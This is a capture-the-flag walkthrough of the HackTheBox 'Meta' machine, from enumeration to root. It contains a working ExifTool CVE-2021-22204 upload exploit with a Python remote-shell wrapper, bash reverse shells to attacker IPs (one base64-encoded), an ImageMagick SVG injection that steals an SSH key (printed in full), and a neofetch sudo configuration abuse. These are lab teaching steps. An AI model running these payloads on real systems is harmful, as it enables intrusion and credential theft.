[HackTheBox] Meta

https://app.hackthebox.com/machines/Meta

·

13 min read

[HackTheBox] Meta

Footprinting

Open ports

Only SSH and HTTP services are running:

kali@kali:~$ sudo nmap -sS -p- -v10 -oA syn_full 10.10.11.140
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
kali@kali:~$ sudo nmap -O -sC -sV -p22,80 -oA vuln 10.10.11.140
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 12:81:17:5a:5a:c9:c6:00:db:f0:ed:93:64:fd:1e:08 (RSA)
|   256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|_  256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
|_http-server-header: Apache

HTTP

Enumeration

The main web page redirects to artcorp.htb. Let's add the domain into our locally known hosts to potentially abuse virtual host routing:

kali@kali:~$ sudo vim /etc/hosts
10.10.11.140    artcorp.htb

Nothing is interesting in the main web page:

kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://artcorp.htb/FUZZ -t 50 -v -fc 404 -of json -o ffuf.json -recursion -recursion-depth 5
kali@kali:~$ cat ffuf.json |jq 'del(.results[]|select(.status==403))|.results[]|.status,.url'
"http://artcorp.htb/assets"
"http://artcorp.htb/css"
"http://artcorp.htb/"
"http://artcorp.htb/assets/img"

But there is a dev01 vhost:

kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://artcorp.htb/ -H "Host: FUZZ.artcorp.htb" -of json -o ffuf_vhosts.json -fs 0

dev01                   [Status: 200, Size: 247, Words: 16, Lines: 10]

Note there are no other dev0X vhosts:

kali@kali:~$ ffuf -c -w digits_10.txt -u http://artcorp.htb/metaview/ -H "Host: dev0FUZZ.artcorp.htb" -t 50 -v -fc 404,403
| URL | http://artcorp.htb/metaview/
    * FUZZ: 1

dev01 vhost

This virtual hosts contains a link to metaview, an upload feature:

>>>
GET / HTTP/1.1
Host: dev01.artcorp.htb

<<<
ArtCorp dev environment:
  Currently applications in development:
  <a href="http://dev01.artcorp.htb/metaview/">MetaView</a>
  * Only applications ready to be tested are listed
>>>
GET /metaview/ HTTP/1.1
Host: dev01.artcorp.htb

<<<
<form action="index.php" method="post" enctype="multipart/form-data">
    <div class="input-group">
        <div class="custom-file">
            <input type="file" name="imageUpload" id="imageUpload" class="custom-file-input"onchange="this.nextElementSibling.innerText = this.files[0].name">
            <label class="custom-file-label" for="imageUpload">Choose file..</label>
        </div>
        <div class="input-group-append">
            <button type="submit" name="submit" class="btn btn-primary">Upload</button>
        </div>
    </div>
</form>

Uploading an image reflects its metadata in the response:

>>>
POST /metaview/index.php HTTP/1.1
Host: dev01.artcorp.htb

-----------------------------6235223315763211531712747746
Content-Disposition: form-data; name="imageUpload"; filename="z3r0.png"
Content-Type: image/jpeg

‰PNG

[...]
-----------------------------6235223315763211531712747746
Content-Disposition: form-data; name="submit"


-----------------------------6235223315763211531712747746--

<<<
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 2220
Image Height                    : 1956
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Gamma                           : 2.2

However, injecting PHP code in the comment tag is useless, as the reponse's header Content-Type is set to text/html:

kali@kali:~$ exiftool simple-backdoor.png '-comment=<? php gile_get_contents("index.php");?>' -overwrite_original
<<<
HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Content-Length: 2719
Connection: close
Content-Type: text/html; charset=UTF-8

Comment                         : <? php gile_get_contents("index.php");?>

Vendor composer

Further resources enumeration (big.txt, raft-large-files-lowercase.txt, raft-large-directories-lowercase.txt, raft-medium-directories-lowercase.txt, ...) discloses the following URLs:

http://dev01.artcorp.htb/metaview/vendor/
http://dev01.artcorp.htb/metaview/vendor/autoload.php
http://dev01.artcorp.htb/metaview/vendor/composer/
http://dev01.artcorp.htb/metaview/vendor/composer/LICENSE

The autoload.php web page is empty. Still, googling it shows this is a PHP dependency manager :

When working with PHP projects, developers often have to manage many libraries from third parties.

A composer is a tool for dependency management in PHP. In simple words, Composer is used for managing libraries in your PHP project.

That blog also mentions a composer.json file:

[Composer] helps developers [to] centrally manage third-party libraries as well as their versions simply and quickly with the composer.json file.

Thus, this file should contain a list of libraries necessary for the project, and their version. In our case, this file contains:

{
    "autoload": {
        "files": ["lib/ExifToolWrapper.php"]
    }
}

Thus, it seems like ExifToolWrapper.php is the script outputting the metadata of uploaded files. Looking back at Seclists wordlists, I saw the Drupal CMS contained the line composer.json:

kali@kali:~$ grep -Rn "composer.json" /usr/share/seclists/Discovery/Web-Content/ 2>/dev/null > wordlists_composer.txt
kali@kali:~$ sort -u wordlists_composer.txt |tee wordlists_composer.txt

These wordlists gave me more results:

http://dev01.artcorp.htb/
http://dev01.artcorp.htb/.
http://dev01.artcorp.htb/index.php
http://dev01.artcorp.htb/metaview/
http://dev01.artcorp.htb/metaview/.
http://dev01.artcorp.htb/metaview/assets
http://dev01.artcorp.htb/metaview/composer.json
http://dev01.artcorp.htb/metaview/composer.json
http://dev01.artcorp.htb/metaview/css
http://dev01.artcorp.htb/metaview/index.php
http://dev01.artcorp.htb/metaview/lib
http://dev01.artcorp.htb/metaview/uploads
http://dev01.artcorp.htb/metaview/vendor
http://dev01.artcorp.htb/metaview/vendor/autoload.php
http://dev01.artcorp.htb/metaview/vendor/autoload.php
http://dev01.artcorp.htb/metaview/vendor/composer
http://dev01.artcorp.htb/metaview/vendor/composer
http://dev01.artcorp.htb/metaview/vendor/composer/autoload_classmap.php
http://dev01.artcorp.htb/metaview/vendor/composer/autoload_files.php
http://dev01.artcorp.htb/metaview/vendor/composer/autoload_namespaces.php
http://dev01.artcorp.htb/metaview/vendor/composer/autoload_psr4.php
http://dev01.artcorp.htb/metaview/vendor/composer/autoload_real.php
http://dev01.artcorp.htb/metaview/vendor/composer/autoload_static.php
http://dev01.artcorp.htb/metaview/vendor/composer/ClassLoader.php
http://dev01.artcorp.htb/metaview/vendor/composer/LICENSE

Down the rabbit holes

Interestingly, the access to the following resource is forbidden (but exists in the web server):

>>>
GET /metaview/vendor/composer/autoload_classmap.phps HTTP/1.1
Host: dev01.artcorp.htb

<<<
HTTP/1.1 403 Forbidden

It seems that PHP highligting is disabled:

Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file.

But I couldn't read these highlighted files, nor find any backup :/

kali@kali:~$ while read url; do curl "$url"s --proxy http://localhost:8080; done < ffuf.txt
kali@kali:~$ while read url; do dirb $url /usr/share/wordlists/dirb/mutations_common.txt -t; done < ffuf.txt

DjVu

After some times, I tried to exploit that Exiftool PHP script using the only metasploit module available in metasploit:

msf6 > search exiftool

Matching Modules
================

   #  Name                                                      Disclosure Date  Rank       Check  Description
   -  ----                                                      ---------------  ----       -----  -----------
   0  exploit/unix/fileformat/exiftool_djvu_ant_perl_injection  2021-05-24       excellent  No     ExifTool DjVu ANT Perl injection
   1  exploit/multi/http/gitlab_exif_rce                        2021-04-14       excellent  Yes    GitLab Unauthenticated Remote ExifTool Command Injection

msf6 > use 0

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > options

Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.jpg          yes       Output file


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  tun0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   JPEG file

A connection happened once I launched the exploit, but nothing else :/

Further research about that DjVu exploit allowed to execute arbitrary code in the web server (e.g. id) using an AssassinUKG GitHub project:

kali@kali:~$ git clone https://github.com/AssassinUKG/CVE-2021-22204
kali@kali:~$ chmod +x ./CVE-2021-22204.sh
kali@kali:~$ ./CVE-2021-22204.sh "system('id')" msf.jpg
   _____   _____   ___ __ ___ _    ___ ___ ___ __  _ _
  / __\ \ / / __|_|_  )  \_  ) |__|_  )_  )_  )  \| | |
 | (__ \ V /| _|___/ / () / /| |___/ / / / / / () |_  _|
  \___| \_/ |___| /___\__/___|_|  /___/___/___\__/  |_|

Creating payload
(metadata "\c${system('id')};")


Warning: [minor] Entries in IFD0 were out of sequence. Fixed. - /home/kali/gits/cheatsheets/pentestTools/training/hackthebox/ctf/Meta/http/msf.jpg
    1 image files updated

Finished

Once uploaded, we see a beautiful output !

>>>
POST /metaview/index.php HTTP/1.1
Host: dev01.artcorp.htb
Content-Type: multipart/form-data; boundary=---------------------------272905548235491543602321957690
Content-Length: 779
Referer: http://dev01.artcorp.htb/metaview/

-----------------------------272905548235491543602321957690
Content-Disposition: form-data; name="imageUpload"; filename="msf.jpg"
Content-Type: image/jpeg

[BINARY DATA]
-----------------------------272905548235491543602321957690
Content-Disposition: form-data; name="submit"


-----------------------------272905548235491543602321957690--

<<<
uid=33(www-data) gid=33(www-data) groups=33(www-data)
File Type                       : JPEG
[...]

With that RCE, I wrote a simple program that automates the process:

#!/usr/bin/env python3
import requests
import os
from requests_toolbelt.multipart.encoder import MultipartEncoder
import cmd
import base64
import re

def upload_file(file_name):
    mp_encoder = MultipartEncoder(
        fields={
            'imageUpload': (file_name, open(file_name, 'rb'), 'image/jpeg'),
            'submit': '',
        }
    )

    return requests.post(
        url=url,
        data=mp_encoder,
        headers={'Content-Type': mp_encoder.content_type},
        proxies={'http':'http://127.0.0.1:8080'}
    )

def cmdOutput(my_cmd):

    os.system(f"""./CVE-2021-22204.sh "system('echo {base64.b64encode(my_cmd.encode()).decode()} |base64 -d |bash')" msf.jpg 1>/dev/null 2>/dev/null""")
    req = upload_file("msf.jpg")
    output = re.findall('^.*<div class="mt-3" id="output_data">.*<pre>(.*)\s*File Type.*$', req.text, re.DOTALL)[0]
    print(output)

class RemoteShell(cmd.Cmd):
    prompt = "bash > "
    def default(self, args):
        cmdOutput(args)

url = "http://dev01.artcorp.htb/metaview/index.php"

RemoteShell().cmdloop()

Meta shell !

kali@kali:~$ ./rce.py
bash > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

kali@kali:~$ nc -nlvp 49999
listening on [any] 49999 ...

kali@kali:~$ echo 'bash -i >& /dev/tcp/10.10.15.16/49999 0>&1' |./rce.py

connect to [10.10.15.16] from (UNKNOWN) [10.10.11.140] 47928
bash: cannot set terminal process group (598): Inappropriate ioctl for device
bash: no job control in this shell
www-data@meta:/var/www/dev01.artcorp.htb/metaview$

Local Privilege escalation

www-data

The flawed script was:

www-data@meta:/var/www/dev01.artcorp.htb$ cat ./metaview/lib/ExifToolWrapper.php
<?php
    function exiftool_exec($newFilepath) {
        return shell_exec("exiftool " . escapeshellarg($newFilepath) . " --system:all --exiftool:all -e");
    }
?>

The Linux Kernel is:

www-data@meta:/var/www/dev01.artcorp.htb/metaview$ uname -a
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux

One user named thomas is present:

www-data@meta:/var/www/dev01.artcorp.htb$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
thomas:x:1000:1000:thomas,,,:/home/thomas:/bin/bash

But we cannot read his user.txt flag :/

www-data@meta:/var/www/dev01.artcorp.htb$ cat /home/thomas/user.txt
cat: /home/thomas/user.txt: Permission denied

No other interesting files could be found in his personal directory:

www-data@meta:/dev/shm/jam$ find / -user thomas -print 2>/dev/null
/home/thomas
/home/thomas/.profile
/home/thomas/.config
/home/thomas/.config/neofetch
/home/thomas/.config/neofetch/config.conf
/home/thomas/.ssh
/home/thomas/.bash_logout
/home/thomas/.gnupg
/home/thomas/.local
/home/thomas/.local/share
/home/thomas/.bashrc
/dev/shm/get_username

magick

Howbeit, the pspy64 tool shows root (UID=0) and thomas (UID=1000) are running CRON jobs:

www-data@meta:/dev/shm/jam$ ./pspy64 -pf
2022/04/28 17:47:01 CMD: UID=0    PID=8739   | /usr/sbin/CRON -f
2022/04/28 17:47:01 CMD: UID=0    PID=8738   | /usr/sbin/CRON -f
2022/04/28 17:47:01 CMD: UID=1000 PID=8740   | /bin/sh -c /usr/local/bin/convert_images.sh
2022/04/28 17:47:01 CMD: UID=1000 PID=8741   | /bin/sh -c /usr/local/bin/convert_images.sh
2022/04/28 17:47:01 CMD: UID=0    PID=8742   | /usr/sbin/CRON -f
2022/04/28 17:47:01 CMD: UID=1000 PID=8743   | /usr/local/bin/mogrify -format png *.* 
2022/04/28 17:47:01 CMD: UID=1000 PID=8745   | pkill mogrify 
[...]
2022/04/28 17:48:01 CMD: UID=0    PID=8753   | /bin/sh -c rm /var/www/dev01.artcorp.htb/convert_images/* 
[...] 
2022/04/28 17:48:01 CMD: UID=0    PID=8756   | /bin/sh -c rm /tmp/* 
[...]
2022/04/28 17:48:01 CMD: UID=0    PID=8759   | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf

Moreover, that /usr/local/bin/ folder contains a custom script called convert_images.sh:

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ l /usr/local/bin/
[...]
-r-xr-xr-x  1 root root 300K Apr 28 07:45 exiftool*
-rwxr-xr-x  1 root root  126 Apr 28 00:23 convert_images.sh*
-rwxr-xr-x  1 root root  40K Apr 28 00:23 magick*
lrwxrwxrwx  1 root root    6 Apr 28 00:23 mogrify -> magick*
-rwxr-xr-x  1 root root 1.5K Aug 29  2021 MagickCore-config*
-rwxr-xr-x  1 root root 1.4K Aug 29  2021 MagickWand-config*

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

The idea would be to exploit that mogrify / magic command. This particular blog contained a working payload:

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ vim poc.svg
<image authenticate='ff" `echo $(id)> ./0wned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Even if I can't see where the file 0wned is created, I do see id is executed in pspy64 !

2022/05/01 19:59:01 CMD: UID=1000 PID=2768   | /usr/local/bin/mogrify -format png poc.svg
2022/05/01 19:59:01 CMD: UID=1000 PID=2770   | id

thomas reverse shell then !

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ echo 'bash -i >& /dev/tcp/10.10.14.60/44445' base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42MC80NDQ0NQ==
www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ vim poc.svg
<image authenticate='ff" `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42MC80NDQ0NQ== |base64 -d |bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">       
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Hmmm, the reverse shell worked, but is instantly killed (because of the pkill mogrify):

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

So let's have a look at .ssh:

<image authenticate='ff" `ls -la /home/thomas/.ssh/>/dev/shm/ssh_thomas.txt; cat /home/thomas/.ssh/id_rsa>/dev/shm/id_rsa; chmod 777 /dev/shm/*`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

Thomas

We can now impersonate thomas using his private SSH key:

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ l /dev/shm
total 3.0M
drwxrwxrwt  2 root     root      100 May  1 20:10 ./
-rwxrwxrwx  1 thomas   thomas   2.6K May  1 20:10 id_rsa*
-rwxrwxrwx  1 thomas   thomas    273 May  1 20:10 ssh_thomas.txt*

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ cat /dev/shm/ssh_thomas.txt
total 20
drwx------ 2 thomas thomas 4096 Jan  4 10:22 .
drwxr-xr-x 4 thomas thomas 4096 Jan 17 07:53 ..
-rw-r--r-- 1 thomas thomas  563 Jan  4 10:38 authorized_keys
-rw------- 1 thomas thomas 2590 Aug 29  2021 id_rsa
-rw-r--r-- 1 thomas thomas  563 Aug 29  2021 id_rsa.pub

www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ cat /dev/shm/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
bhFErAeoncE3vJAAAACXJvb3RAbWV0YQE=
-----END OPENSSH PRIVATE KEY-----
kali@kali:~$ ssh -i id_rsa thomas@10.10.11.140
Linux meta 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
thomas@meta:~$

User flag:

thomas@meta:~$ cat user.txt
80[...]24

Neofetch

Thomas can run the following neofetch command as root with no password:

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

Indeed, we see the command is run as root when comparing the hostnames:

thomas@meta:~$ /usr/bin/neofetch \"\"
       _,met$$$$$gg.          thomas@meta
    ,g$$$$$$$$$$$$$$$P.       -----------
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64
 ,$$P'              `$$$.     Host: VMware Virtual Platform None
',$$P       ,ggs.     `$$b:   Kernel: 4.19.0-17-amd64
`d$$'     ,$P"'   .    $$$    Uptime: 13 hours, 24 mins
 $$P      d$'     ,    $$P    Packages: 495 (dpkg)
 $$:      $$.   -    ,d$$'    Shell: bash 5.0.3
 $$;      Y$b._   _,d$P'      Terminal: /dev/pts/6
 Y$$.    `.`"Y$$$$P"'         CPU: AMD EPYC 7401P 24- (2) @ 2.000GHz
 `$$b      "-.__              GPU: VMware SVGA II Adapter
  `Y$$                        Memory: 198MiB / 1994MiB
   `Y$$.
     `$$b.
       `Y$$b.
          `"Y$b._
              `"""
thomas@meta:~$ sudo /usr/bin/neofetch \"\"
       _,met$$$$$gg.          root@meta
    ,g$$$$$$$$$$$$$$$P.       ---------
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64
 ,$$P'              `$$$.     Host: VMware Virtual Platform None
',$$P       ,ggs.     `$$b:   Kernel: 4.19.0-17-amd64
`d$$'     ,$P"'   .    $$$    Uptime: 13 hours, 23 mins
 $$P      d$'     ,    $$P    Packages: 495 (dpkg)
 $$:      $$.   -    ,d$$'    Shell: bash 5.0.3
 $$;      Y$b._   _,d$P'      CPU: AMD EPYC 7401P 24- (2) @ 2.000GHz
 Y$$.    `.`"Y$$$$P"'         GPU: VMware SVGA II Adapter
 `$$b      "-.__              Memory: 199MiB / 1994MiB
  `Y$$
   `Y$$.
     `$$b.
       `Y$$b.
          `"Y$b._
              `"""

Further details about Neofetch could be found in its manual pages:

Neofetch is a CLI system information tool written in BASH. Neofetch displays information about your system next to an image, your OS logo, or any ASCII file of your choice.

Its syntax is:

thomas@meta:~$ neofetch --help
Usage: neofetch func_name --option "value" --option "value"

Where func_name is described below:

OPTIONS
   INFO:
       func_name
              Specify a function name (second part of info() from config) to quickly display only that  function's
              information.

              Example: neofetch uptime --uptime_shorthand tiny

              Example: neofetch uptime disk wm memory

              This can be used in bars and scripts like so:

              memory="$(neofetch memory)"; memory="${memory##*: }"

              For multiple outputs at once (each line of info in an array):

              IFS=$'\n' read -d "" -ra info < <(neofetch memory uptime wm)

              info=("${info[@]##*: }")

Neofetch configurations

However, let's not forget that the configuration of this tool is copied every minute from the root's directory to thomas's folder:

2022/04/28 17:48:01 CMD: UID=0    PID=8759   | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf

For example, let's see what model function gives:

thomas@meta:~/.config/neofetch$ neofetch model
model: VMware Virtual Platform None

thomas@meta:~/.config/neofetch$ cat /home/thomas/.config/neofetch/config.conf
# See this wiki page for more info:
# https://github.com/dylanaraps/neofetch/wiki/Customizing-Info
print_info() {
    info title
    info underline

    info "OS" distro
    info "Host" model
    info "Kernel" kernel
    info "Uptime" uptime
[...]

If func_name is model, then the model of the Host is given. Also, altering the configurations to:

print_info() {
    info title
    info underline

    info "AAAAAAAAAAAAAA" distro
    info "Host" model
[...]

Shows:

thomas@meta:~/.config/neofetch$ neofetch
       _,met$$$$$gg.          thomas@meta
    ,g$$$$$$$$$$$$$$$P.       -----------
  ,g$$P"     """Y$$.".        AAAAAAAAAAAAAA: Debian GNU/Linux 10 (buster) x86_64
[...]

root

But these modifications do not apply when the program is run as root :/

thomas@meta:~/.config/neofetch$ sudo /usr/bin/neofetch \"\"
       _,met$$$$$gg.          root@meta
    ,g$$$$$$$$$$$$$$$P.       ---------
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64
[...]

Indeed, the configuration file read with sudo became /root/conf/config_neofetch.conf, which we cannot overwrite.

Digging into neofetch

The func_name option is not defined in the configuration file:

thomas@meta:~/.config/neofetch$ grep "model" /home/thomas/.config/neofetch/config.conf
    info "Host" model

Actually, the command-line argument is processed inside /usr/bin/neofetch. For example, if func_name=users, then it returns the name of the current user:

thomas@meta:/dev/shm/jam$ vim /usr/bin/neofetch
[...]
get_users() {
    users="$(who | awk '!seen[$1]++ {printf $1 ", "}')"
    users="${users%\,*}"
}
[...]
thomas@meta:/dev/shm/jam$ neofetch users
users: thomas

thomas@meta:/dev/shm/jam$ who | awk '!seen["users"]++ {printf $1 ", "}'
thomas,

Some useful BASH variables:

thomas@meta:/dev/shm/jam$ ./test a b c
$_:  ./test
$@:  a b c
$*:  a b c

First, the binary starts by running the main function:

main "$@"

Inside, it parses the arguments, in which we would put \"\" to run it with sudo:

main() {
  [...]
  get_args "$@"
  [...]

Then, get_args() calls the function get_user_config if no --config option is set (which will be our case):

get_args() {
  # Check the commandline flags early for '--config'.
  [[ "$*" != *--config* ]] && get_user_config
  [...]

However, without --config, the configuration's location is based on the XDG_CONFIG_HOME environment variable:

get_user_config() {
    mkdir -p "${XDG_CONFIG_HOME}/neofetch/"

    # --config /path/to/config.conf
    if [[ -f "$config_file" ]]; then
        source "$config_file"
        err "Config: Sourced user config. (${config_file})"
        return

    elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config.conf" ]]; then
        source "${XDG_CONFIG_HOME}/neofetch/config.conf"
        err "Config: Sourced user config.    (${XDG_CONFIG_HOME}/neofetch/config.conf)"

    elif [[ -f "${XDG_CONFIG_HOME}/neofetch/config" ]]; then
        source "${XDG_CONFIG_HOME}/neofetch/config"
        err "Config: Sourced user config.    (${XDG_CONFIG_HOME}/neofetch/config)"

    else
        config_file="${XDG_CONFIG_HOME}/neofetch/config.conf"

        # The config file doesn't exist, create it.
        printf '%s\n' "$config" > "$config_file"
    fi
}

Which we can overwrite:

thomas@meta:/dev/shm/jam$ export XDG_CONFIG_HOME=/home/thomas/.config/

From now on, executing neofetch as root will be using thomas's configurations :]. Let's first check what happens with the following configurations:

thomas@meta:~/.config/neofetch$ vim /home/thomas/.config/neofetch/config.conf
# See this wiki page for more info:
# https://github.com/dylanaraps/neofetch/wiki/Customizing-Info
print_info() {
    info title
    info underline

    info "OS$(whoami)" distro

We see root executed the command we put in thomas's configurations, as the output shows OSroot:

thomas@meta:~/.config/neofetch$ sudo /usr/bin/neofetch \"\"
       _,met$$$$$gg.          root@meta
    ,g$$$$$$$$$$$$$$$P.       ---------
  ,g$$P"     """Y$$.".        OSroot: Debian GNU/Linux 10 (buster) x86_64

Me3t4Sh3ll3d:

